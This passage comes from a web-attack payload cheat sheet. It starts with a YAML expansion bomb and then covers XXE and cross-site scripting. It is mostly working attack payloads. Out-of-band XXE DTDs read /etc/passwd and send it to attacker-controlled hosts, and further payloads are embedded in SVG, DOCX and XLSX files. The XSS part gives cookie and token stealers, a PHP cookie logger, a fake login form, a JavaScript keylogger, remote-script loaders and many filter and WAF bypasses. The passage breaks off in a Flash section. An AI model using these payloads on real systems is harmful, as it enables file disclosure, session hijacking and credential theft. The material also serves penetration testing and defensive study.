a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```

## Error Based XXE

**Payload to trigger the XXE**

```xml
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>
```

**Contents of ext.dtd**

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

## Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

### Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

```xml
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>
```

Send the content of `/etc/passwd` to "[www.malicious.com](http://www.malicious.com)", you may receive only the first line.

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
```

### XXE OOB Attack (Yunusov, 2013)

```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
```

### XXE OOB with DTD and PHP filter

```xml
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
```

### XXE OOB with Apache Karaf

CVE-2018-11788 affecting versions:

* Apache Karaf <= 4.2.1
* Apache Karaf <= 4.1.6

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>
```

Send the XML file to the `deploy` folder.

Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788)

## XXE with local DTD

In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:

```xml
<!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'>]>
<root>&test;</root>
```

If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.

```xml
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">

    %local_dtd;
]>
<root></root>
```

Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.

```xml
<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>

    %local_dtd;
]>
<root></root>
```

[Other payloads using different DTDs](https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md)

## Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents

From <https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79>

### Disclose local file

```xml
<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;
  ]><xxx>cacat</xxx>
```

### Disclose HTTP Response:

```xml
<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "https://erp.company.com">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;
  ]><xxx>cacat</xxx>
```

## XXE in exotic files

### XXE inside SVG

```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
```

**Classic**

```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

**OOB via SVG rasterization**

*xxe.svg*

```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>
```

*xxe.xml*

```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">
```

### XXE inside SOAP

```xml
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>
```

### XXE inside DOCX file

Format of an Open XML file (inject the payload in any .xml file):

* /\_rels/.rels
* \[Content\_Types].xml
* Default Main Document Part
  * /word/document.xml
  * /ppt/presentation.xml
  * /xl/workbook.xml

Then update the file `zip -u xxe.docx [Content_Types].xml`

Tool : <https://github.com/BuffaloWill/oxml\\_xxe>

```xml
DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)
```

### XXE inside XLSX file

Structure of the XLSX:

```
$ 7z l xxe.xlsx
[...]
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00 .....          578          223  _rels/.rels
2021-10-17 15:19:00 .....          887          508  xl/workbook.xml
2021-10-17 15:19:00 .....         4451          643  xl/styles.xml
2021-10-17 15:19:00 .....         2042          899  xl/worksheets/sheet1.xml
2021-10-17 15:19:00 .....          549          210  xl/_rels/workbook.xml.rels
2021-10-17 15:19:00 .....          201          160  xl/sharedStrings.xml
2021-10-17 15:19:00 .....          731          352  docProps/core.xml
2021-10-17 15:19:00 .....          410          246  docProps/app.xml
2021-10-17 15:19:00 .....         1367          345  [Content_Types].xml
------------------- ----- ------------ ------------  ------------------------
2021-10-17 15:19:00              11216         3586  9 files
```

Extract Excel file: `7z x -oXXE xxe.xlsx`

Rebuild Excel file:

```
$ cd XXE
$ 7z u ../xxe.xlsx *
```

Add your blind XXE payload inside `xl/workbook.xml`.

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
```

Alternativly, add your payload in `xl/sharedStrings.xml`:

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
```

Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.

`xxe.dtd`

```xml
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>"> 
```

Serve DTD and receive FTP payload using [xxeserv](https://github.com/staaldraad/xxeserv):

```
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
```

### XXE inside DTD file

Most XXE payloads detailed above require control over both the DTD or `DOCTYPE` block as well as the `xml` file. In rare situations, you may only control the DTD file and won't be able to modify the `xml` file. For example, a MITM. When all you control is the DTD file, and you do not control the `xml` file, XXE may still be possible with this payload.

```xml
<!-- Load the contents of a sensitive file into a variable -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- Use that variable to construct an HTTP get request with the file contents in the URL -->
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-host.com/x=%payload;">'>
%param1;
%external;
```

### XXE WAF Bypass via convert character encoding

In XXE WAFs, DTD Prolog are usually blacklisted BUT not all WAFs blacklist the UTF-16 character encoding\
\
`All XML processors must accept the UTF-8 and UTF-16 encodings of Unicode` -- <https://www.w3.org/XML/xml-V10-4e-errata#E11\\>
\
we can convert the character encoding to `UTF-16` using [iconv](https://man7.org/linux/man-pages/man1/iconv.1.html) to bypass the XXE WAF:-<br>

```bash
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
```

## References

* [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_\(XXE\)_Processing)
* [Detecting and exploiting XXE in SAML Interfaces](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) - 6. Nov. 2014 - Von Christian Mainka
* [\[Gist\] staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4)
* [\[Gist\] mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870)
* [Exploiting xxe in file upload functionality - BLACKHAT WEBCAST - 11/19/15 - Will Vandevanter - @*will\_is*](https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf)
* [XXE ALL THE THINGS!!! (including Apple iOS's Office Viewer)](http://en.hackdig.com/08/28075.htm)
* [From blind XXE to root-level file read access - December 12, 2018 by Pieter Hiele](https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/)
* [How we got read access on Google’s production servers](https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers/) April 11, 2014 by detectify
* [Blind OOB XXE At UBER 26+ Domains Hacked](http://nerdint.blogspot.hk/2016/08/blind-oob-xxe-at-uber-26-domains-hacked.html) August 05, 2016 by Raghav Bisht
* [OOB XXE through SAML](https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf) by Sean Melia @seanmeals
* [XXE in Uber to read local files](https://httpsonly.blogspot.hk/2017/01/0day-writeup-xxe-in-ubercom.html) 01/2017
* [XXE inside SVG](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/) JUNE 22, 2016 by YEO QUAN YANG
* [Pentest XXE - @phonexicum](https://phonexicum.github.io/infosec/xxe.html)
* [Exploiting XXE with local DTD files](https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/) - 12/12/2018 - Arseniy Sharoglazov
* [Web Security Academy >> XML external entity (XXE) injection - 2019 PortSwigger Ltd](https://portswigger.net/web-security/xxe)
* [Automating local DTD discovery for XXE exploitation](https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation) - July 16 2019 by Philippe Arteau
* [EXPLOITING XXE WITH EXCEL - NOV 12 2018 - MARC WICKENDEN](https://www.4armed.com/blog/exploiting-xxe-with-excel/)
* [excel-reader-xlsx #10](https://github.com/jmcnamara/excel-reader-xlsx/issues/10)
* [Midnight Sun CTF 2019 Quals - Rubenscube](https://jbz.team/midnightsunctfquals2019/Rubenscube)
* [SynAck - A Deep Dive into XXE Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/) - 22 July 2019 - Trenton Gordon
* [Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server](https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf) - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK


# XSS - Cross Site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

## Summary

* [Exploit code or POC](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Data grabber for XSS](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [UI redressing](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Javascript keylogger](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Other ways](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [Identify an XSS endpoint](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [XSS in HTML/Applications](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Common Payloads](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [XSS using HTML5 tags](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [XSS using a remote JS](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [XSS in hidden input](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [DOM based XSS](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [XSS in JS Context](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [XSS in wrappers javascript and data URI](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [XSS in files (XML/SVG/CSS/Flash/Markdown)](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [XSS in PostMessage](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [Blind XSS](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [XSS Hunter](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Other Blind XSS tools](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Blind XSS endpoint](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [Mutated XSS](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [Polyglot XSS](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [Filter Bypass and Exotic payloads](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass case sensitive](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass tag blacklist](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass word blacklist with code evaluation](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass with incomplete html tag](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass quotes for string](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass quotes in script tag](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass quotes in mousedown event](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass dot filter](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass parenthesis for string](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass parenthesis and semi colon](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass onxxxx= blacklist](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass space filter](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass email filter](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass document blacklist](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using javascript inside a string](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using an alternate way to redirect](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using an alternate way to execute an alert](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass ">" using nothing](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass "<" and ">" using ＜ and ＞](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass ";" using another character](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using HTML encoding](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using Katana](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using Cuneiform](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using Lontara](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using ECMAScript6](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using Octal encoding](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using Unicode](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using UTF-7](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using UTF-8](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using UTF-16be](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using UTF-32](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using BOM](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using weird encoding or native interpretation](broken://pages/3Ze25urwve2RJXhXl1Dt)
  * [Bypass using jsfuck](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [CSP Bypass](broken://pages/3Ze25urwve2RJXhXl1Dt)
* [Common WAF Bypass](broken://pages/3Ze25urwve2RJXhXl1Dt)

## Exploit code or POC

### Data grabber for XSS

Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.

```html
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
```

Write the collected data into a file.

```php
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
```

### CORS

```html
<script>
  fetch('https://<SESSION>.burpcollaborator.net', {
  method: 'POST',
  mode: 'no-cors',
  body: document.cookie
  });
</script>
```

### UI redressing

Leverage the XSS to modify the HTML content of the page in order to display a fake login form.

```html
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
```

### Javascript keylogger

Another way to collect sensitive data is to set a javascript keylogger.

```javascript
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

### Other ways

More exploits at <http://www.xss-payloads.com/payloads-list.html?a#category=all>:

* [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)
* [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/)
* [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
* [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
* [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
* [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)

## Identify an XSS endpoint

This payload opens the debugger in the developper console rather than triggering a popup alert box.

```javascript
<script>debugger;</script>
```

Modern applications with content hosting can use [sandbox domains](https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html)

> to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.

For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing.

Better payload replacing `<script>alert(1)</script>`:

```html
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
```

While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developper console (doesn't require any interaction).

Example:

```html
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
```

References:

* [Google Bughunter University - XSS in sandbox domains](https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain)
* [LiveOverflow Video - DO NOT USE alert(1) for XSS](https://www.youtube.com/watch?v=KHwVjzWei1c)
* [LiveOverflow blog post - DO NOT USE alert(1) for XSS](https://liveoverflow.com/do-not-use-alert-1-in-xss/)

### Tools

Most tools are also suitable for blind XSS attacks:

* [XSSStrike](https://github.com/s0md3v/XSStrike): Very popular but unfortunately not very well maintained
* [xsser](https://github.com/epsylon/xsser): Utilizes a headless browser to detect XSS vulnerabilities
* [Dalfox](https://github.com/hahwul/dalfox): Extensive functionality and extremely fast thanks to the implementation in Go
* [XSpear](https://github.com/hahwul/XSpear): Similar to Dalfox but based on Ruby
* [domdig](https://github.com/fcavallarin/domdig): Headless Chrome XSS Tester

## XSS in HTML/Applications

### Common Payloads

```javascript
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
```

### XSS using HTML5 tags

```javascript
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.
```

### XSS using a remote JS

```html
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
```

### XSS in hidden input

```javascript
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
```

### XSS when payload is reflected capitalized

```javascript
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
```

### DOM based XSS

Based on a DOM XSS sink.

```javascript
#"><img src=/ onerror=alert(2)>
```

### XSS in JS Context

```javascript
-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
```

## XSS in wrappers javascript and data URI

XSS with javascript:

```javascript
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javascript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
```

XSS with data:

```javascript
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```

XSS with vbscript: only IE

```javascript
vbscript:msgbox("XSS")
```

## XSS in files

\*\* NOTE:\*\* The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

```xml
<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
```

### XSS in XML

```xml
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
```

### XSS in SVG

```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

### XSS in SVG (short)

```javascript
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
```

### XSS in Markdown

```csharp
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```

### XSS in SWF flash application

```powershell
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
```

more payloads in ./files

### XSS in SWF flash application

```
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
